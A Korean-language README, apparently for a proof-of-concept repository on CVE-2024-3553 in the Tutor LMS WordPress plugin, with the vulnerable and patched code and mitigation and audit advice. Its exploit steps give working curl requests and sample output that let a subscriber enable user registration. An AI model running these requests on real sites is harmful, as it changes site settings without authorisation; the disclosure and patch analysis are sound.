
CVE-2024-3553: Tutor LMS <= 2.6.2 - 인증된 공격자가 사용자 등록을 활성화할 수 있는 권한 부여 누락 취약점
Tutor LMS – WordPress용 e러닝 및 온라인 코스 솔루션 플러그인은 2.6.2 및 그 이전 모든 버전에서 hide_notices() 함수에 누락된 기능 검사로 인해 데이터 무단 수정에 취약합니다. 이로 인해 인증된 공격자(구독자와 같은 낮은 권한의 사용자 포함)가 관리자가 비활성화한 사이트에서 사용자 등록을 활성화할 수 있습니다.
전체 Python 익스플로잇이 제공됩니다: exploit-cve-2024-3553-v2.py
# 전체 자동화된 익스플로잇
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# 등록 상태만 확인
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
전제 조건:
1단계: 낮은 권한의 사용자로 로그인
# 구독자 또는 인증된 사용자로 로그인
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
2단계: 관리자 영역에서 nonce 추출
# 인증된 모든 사용자는 /wp-admin/에 접근할 수 있습니다 (구독자도 포함)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
3단계: 익스플로잇 실행
# 사용자 등록을 활성화하는 요청 전송
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
4단계: 성공 확인
# 등록이 활성화되었는지 확인
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "등록 활성화됨" || echo "등록 비활성화됨"
# 인증된 모든 사용자는 다음을 방문하기만 하면 됩니다:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 익스플로잇 - Tutor LMS 인증 누락
대상: https://target.com
======================================================================
[*] 현재 등록 상태 확인 중...
[+] 등록이 현재 비활성화됨
[*] 구독자로 로그인 시도 중...
[+] 구독자로 로그인 성공
[*] 2단계: 관리자 영역에서 nonce 추출 중...
[+] nonce 발견: abc123def456
[*] 3단계: 사용자 등록 활성화를 위한 익스플로잇 실행 중...
[*] 대상: https://target.com
[*] 사용 중인 nonce: abc123def456
[*] 익스플로잇 URL: https://target.com/wp-admin/index.php
[*] 매개변수: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 응답 상태: 200
[+] 익스플로잇 요청 성공!
[*] 4단계: 익스플로잇 성공 확인 중...
[+] 등록이 현재 활성화됨
======================================================================
[!] 익스플로잇 성공!
[!] 사용자 등록이 이제 활성화되었습니다
[!]
[!] 영향: 낮은 권한의 계정(구독자)을 가진 공격자가
[!] 비활성화된 사이트에서 사용자 등록을 활성화할 수 있었습니다.
[!] 이는 추가 계정 생성으로 이어져 스팸이나 무단 접근으로
[!] 이어질 수 있습니다.
======================================================================
파일: /classes/User.php (약 800~815줄)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// 핵심 결함: is_admin()은 관리자 영역인지만 확인할 뿐, 사용자 역할은 확인하지 않습니다!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// 기능 검사 없음 - 모든 인증된 사용자가 실행 가능!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
주요 취약점 포인트:
is_admin()은 요청이 관리자 페이지로 전송되었는지 확인할 뿐, 사용자가 관리자인지 확인하지 않습니다./wp-admin/에 접근할 수 있습니다 (구독자도 포함).current_user_can('manage_options') 기능 검사users_can_register 옵션을 수정할 수 있습니다.파일: /classes/User.php (패치된 버전)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// 보안 수정: 기능 검사 추가
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // 이제 적절히 보호됨
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
패치는 옵션 업데이트를 허용하기 전에 사용자가 관리자 권한을 가지고 있는지 확인하기 위해 current_user_can('manage_options')를 추가합니다.
이 취약점은 WordPress 인증 함수에 대한 심각한 오해를 보여줍니다:
잘못됨 ❌:
if ( is_admin() ) {
// "사용자가 관리자"라고 생각함
update_option( 'sensitive_option', $value );
}
올바름 ✅:
if ( current_user_can( 'manage_options' ) ) {
// 실제로 사용자에게 관리자 기능이 있는지 확인
update_option( 'sensitive_option', $value );
}
| 함수 | 실제 확인 내용 | 보안 사용 |
|---|---|---|
is_admin() | 현재 URL이 /wp-admin/에 있는지 여부 | ❌ 인증이 아님 |
current_user_can() | 사용자에게 특정 기능이 있는지 여부 | ✅ 적절한 인증 |
wp_verify_nonce() | 요청이 의도적인지 (CSRF 보호) | ✅ 그러나 단독으로는 충분하지 않음 |
적절한 WordPress 보안은 여러 계층이 필요합니다:
이러한 계층 중 하나라도 누락되면 취약점이 발생할 수 있습니다.
사이트 관리자를 위해:
즉시 Tutor LMS 버전 2.7.0 이상으로 업데이트하세요:
# WP-CLI를 통해
wp plugin update tutor --version=2.7.0
# WordPress 관리자를 통해
대시보드 → 플러그인 → "Tutor LMS" 찾기 → "지금 업데이트" 클릭
최근 변경 사항 감사:
# 등록 설정이 최근에 수정되었는지 확인
wp option get users_can_register
# 최근 사용자 등록 검토
wp user list --orderby=registered --order=DESC --number=20
is_admin()만 절대 신뢰하지 마세요current_user_can()을 사용하세요WordPress 플러그인의 인증 문제를 감사할 때:
# 1. 기능 검사 없이 is_admin()을 검색
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. 직접 옵션 업데이트 찾기
grep -r "update_option\|add_option" .
# 3. 기능 검사 없는 AJAX 핸들러 찾기
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - 이 파일exploit-cve-2024-3553.py - 기본 Python 익스플로잇exploit-cve-2024-3553-v2.py - 상세 문서가 포함된 향상된 Python 익스플로잇manual-exploit-cve-2024-3553.sh - 수동 익스플로잇 스크립트test-cve-2024-3553-direct.sh - 직접 확인 테스트 스크립트발견일: 2024-04-15 공개일: 2024-05-20 패치일: 2024-05-21 (v2.7.0) 테스트 날짜: 2025-12-26 분류: 취약점 검증 성공